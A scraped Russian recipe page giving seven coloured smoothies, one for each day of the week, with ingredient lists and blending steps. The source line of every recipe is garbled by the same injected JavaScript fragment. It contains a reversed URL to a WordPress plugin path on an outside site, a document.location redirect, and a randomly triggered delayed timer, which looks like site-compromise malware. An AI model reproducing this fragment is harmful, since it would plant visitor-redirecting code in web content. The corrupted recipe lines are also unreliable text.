От красного понедельника до фиолетового воскресенья — Наталья Антонова составила «недельное меню» из 7 смузи, которые зарядят вас энергией на целый день.
Красный понедельник
Фото: Наталья Антонова
7 цветных смузи на всю неделю
СЛОЖНОСТЬ РЕЦЕПТА:
ВРЕМЯ ПРИГОТОВЛЕНИЯ:
10 МИНУТ
КОЛИЧЕСТВО ПОРЦИЙ:
1-2 порции
КАЛОРИЙНОСТЬ:
не указана
0 calories
Рецпет с сайта fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru
PT1H
PT1H
Ингредиенты
Ананас
1 стакан
Чёрная смородина
½ стакана
Малина
½ стакана
Клубника
7 шт.
Кокосовая вода
100 мл
- Очистите и мелко нарежьте ананас.
- Все ингредиенты, кроме воды, сложите в чашу блендера и взбейте в течение 30 секунд на максимальной скорости.
- Добавьте охлаждённую кокосовую воду для желаемой консистенции.
Оранжевый вторник
Фото: Наталья Антонова
7 цветных смузи на всю неделю
СЛОЖНОСТЬ РЕЦЕПТА:
ВРЕМЯ ПРИГОТОВЛЕНИЯ:
15 МИНУТ
КОЛИЧЕСТВО ПОРЦИЙ:
1-2 порции
КАЛОРИЙНОСТЬ:
не указана
0 calories
Рецпет с сайта fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru
PT1H
PT1H
Ингредиенты
Морковь
1 шт.
Апельсин
1 шт.
Банан
1 шт.
Имбирь
1 см
Куркума
¼ ч. л.
- Морковь, апельсин и банан очистите от кожуры и мелко нарежьте.
- Имбирь очистите и натрите на мелкой тёрке.
- Все ингредиенты сложите в чашу блендера и взбейте в течение 30 секунд на максимальной скорости.
Жёлтая среда
Фото: Наталья Антонова
7 цветных смузи на всю неделю
СЛОЖНОСТЬ РЕЦЕПТА:
ВРЕМЯ ПРИГОТОВЛЕНИЯ:
10 МИНУТ
КОЛИЧЕСТВО ПОРЦИЙ:
1-2 порции
КАЛОРИЙНОСТЬ:
не указана
0 calories
Рецпет с сайта fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru
PT1H
PT1H
Ингредиенты
Груша
1 шт.
Манго
1 шт.
Кокосовая вода
200 мл
- Очистите манго от кожуры и мелко нарежьте.
- Из груши вырежьте сердцевину и нарежьте (можно с кожурой).
- Манго и грушу сложите в чашу блендера и взбейте в течение 30 секунд на максимальной скорости.
- Добавьте кокосовую воду и смешивайте ещё полминуты.
Зелёный четверг
Фото: Наталья Антонова
7 цветных смузи на всю неделю
СЛОЖНОСТЬ РЕЦЕПТА:
ВРЕМЯ ПРИГОТОВЛЕНИЯ:
10 МИНУТ
КОЛИЧЕСТВО ПОРЦИЙ:
1-2 порции
КАЛОРИЙНОСТЬ:
не указана
0 calories
Рецпет с сайта fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru
PT1H
PT1H
Ингредиенты
Киви
3 шт.
Банан
1 шт.
Кокосовая вода
150 мл
Спирулина
1 ч. л.
- Банан и киви очистите от кожуры и нарежьте средними кусочками.
- Все ингредиенты сложите в чашу блендера и взбейте в течение 30 секунд на максимальной скорости.
Голубая пятница
Фото: Наталья Антонова
7 цветных смузи на всю неделю
СЛОЖНОСТЬ РЕЦЕПТА:
ВРЕМЯ ПРИГОТОВЛЕНИЯ:
10 МИНУТ
КОЛИЧЕСТВО ПОРЦИЙ:
1-2 порции
КАЛОРИЙНОСТЬ:
не указана
0 calories
Рецпет с сайта fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru
PT1H
PT1H
Ингредиенты
Черника
1 стакан
Чёрная смородина
1 стакан
Кокосовое молоко
½ стакана
- Все ингредиенты сложите в чашу блендера и взбейте в течение 30 секунд на максимальной скорости.
Синяя суббота
Фото: Наталья Антонова
7 цветных смузи на всю неделю
СЛОЖНОСТЬ РЕЦЕПТА:
ВРЕМЯ ПРИГОТОВЛЕНИЯ:
10 МИНУТ
КОЛИЧЕСТВО ПОРЦИЙ:
1-2 порции
КАЛОРИЙНОСТЬ:
не указана
0 calories
Рецпет с сайта fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru
PT1H
PT1H
Ингредиенты
Голубика
1,5 стакана
Киви
2 шт.
Вода
100 мл
Спирулина
½ ч. л.
- Очистите киви от кожуры и нарежьте средними кусочками.
- Все ингредиенты сложите в чашу блендера и взбейте в течение 30 секунд на максимальной скорости.
Фиолетовое воскресенье
Фото: Наталья Антонова
7 цветных смузи на всю неделю
СЛОЖНОСТЬ РЕЦЕПТА:
ВРЕМЯ ПРИГОТОВЛЕНИЯ:
15 МИНУТ
КОЛИЧЕСТВО ПОРЦИЙ:
1-2 порции
КАЛОРИЙНОСТЬ:
не указана
0 calories
Рецпет с сайта fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru
PT1H
PT1H
Ингредиенты
Голубика
1 стакан
Чёрная смородина
1 стакан
Малина
½ стакана
Финики
2 шт.
Кокосовая вода
100 мл
- Размочите финики в горячей воде, очистите от косточек и кожицы и мелко нарежьте
- Все ингредиенты сложите в чашу блендера и взбейте в течение 30 секунд на максимальной скорости.
